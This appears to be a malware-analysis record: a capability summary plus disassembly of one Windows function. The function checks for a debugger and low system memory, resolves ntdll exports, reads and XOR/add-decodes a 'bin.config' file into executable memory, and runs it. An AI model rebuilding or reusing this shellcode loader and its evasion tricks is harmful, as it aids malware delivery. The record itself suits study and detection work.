Function at 0x140001f40
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings
Encode data using xor
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14003f018]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x1400023ad
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov rax, qword [rcx]
mov r14, qword [rax + 0x20]
mov eax, 0x5a4d
xor esi, esi
cmp word [r14], ax
jne 0x140002079
movsxd rax, dword [r14 + 0x3c]
mov ecx, dword [rax + r14 + 0x88]
add rcx, r14
mov eax, dword [rcx + 0x1c]
add rax, r14
mov qword [rsp + 0x48], rax
mov edx, dword [rcx + 0x20]
add rdx, r14
mov qword [rsp + 0x50], rdx
mov r8d, dword [rcx + 0x24]
add r8, r14
mov qword [rsp + 0x58], r8
mov eax, dword [rcx + 0x18]
mov dword [rsp + 0x40], eax
movzx r13d, si
test eax, eax
je 0x140002079
mov r15, qword [0x1400419c8]
mov r12, qword [0x1400419c0]
mov rsi, qword [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
movzx eax, r13w
mov ebx, dword [rdx + rax*4]
add rbx, r14
movzx eax, word [r8 + rax*2]
mov edi, dword [rsi + rax*4]
add rdi, r14
lea rdx, [0x1400399b8]
mov rcx, rbx
call fcn.140029f10
test eax, eax
cmove r12, rdi
lea rdx, str.RtlGetNativeSystemInformation
mov rcx, rbx
call fcn.140029f10
test eax, eax
cmove r15, rdi
inc r13w
movzx eax, r13w
cmp eax, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
jb 0x140002010
mov qword [0x1400419c8], r15
mov qword [0x1400419c0], r12
xor esi, esi
jmp 0x140002080
mov r15, qword [0x1400419c8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
xor r9d, r9d
lea r8d, [r9 + 0x40]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call r15
test eax, eax
je 0x1400020b1
mov eax, 1
jmp 0x14000237d
mov ebx, dword [rbp - 0x68]
mov eax, dword [rbp - 0x64]
imul rbx, rax
shr rbx, 0x14
mov rdx, rbx
lea rcx, str.total_system_memory:__llu_MB_n
call fcn.140001160
mov rdx, rbx
call fcn.1400023c0
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x68], rcx
mov rdx, qword [rcx]
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x60]
call fcn.140004a50
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx r14d, al
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002132
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002132
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, r14b
mov rcx, rdi
call fcn.1400055a0
mov rcx, rdi
call fcn.140004650
cmp rbx, 0x1000
jb 0x14000237b
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0xf0]
mov ecx, 2
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140002180
mov ecx, dword [rax]
mov dword [rdx], ecx
mov edx, 0x5c
lea rcx, [rbp - 0x20]
call fcn.140009d84
mov byte [rax], 0
mov dword [rbp - 0x30], 0x2e6e6962
mov dword [rbp - 0x2c], 0x666e6f63
mov word [rbp - 0x28], 0x6769
mov byte [rbp - 0x26], 0
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x20]
lea rdx, str._s_s
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_wsprintfA]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140002253
lea rcx, str.Open_file_wrong_n
call fcn.140001160
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov qword [rsp + 0x70], rsi
mov r15d, eax
mov qword [rbp - 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x80]
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [0x1400419c0]
mov ecx, ebx
call fcn.140008034
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.14000a640
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x78]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
movdqa xmm1, xmmword [str.mmmmmmmmmmmmmmmm]
test ebx, ebx
je 0x14000234d
cmp ebx, 0x10
jb 0x140002323
mov eax, ebx
and eax, 0xf
mov edx, ebx
sub edx, eax
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
pxor xmm0, xmm1
paddb xmm0, xmm1
pxor xmm0, xmm1
paddb xmm0, xmm1
pxor xmm0, xmm1
paddb xmm0, xmm1
pxor xmm0, xmm1
movdqu xmmword [rcx], xmm0
add rcx, 0x10
add esi, 0x10
cmp esi, edx
jb 0x1400022f0
cmp esi, ebx
jae 0x14000234d
sub ebx, esi
mov edx, ebx
nop word [rax + rax]
movzx eax, byte [rcx]
xor al, 0x6d
add al, 0x6d
xor al, 0x6d
add al, 0x6d
xor al, 0x6d
add al, 0x6d
xor al, 0x6d
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140002330
mov r8, r15
mov rdx, rdi
mov rcx, qword [rsp + 0x70]
call fcn.140009f90
call qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140007ff0
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140007fd0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor ecx, ecx
call fcn.14000e7b4
int3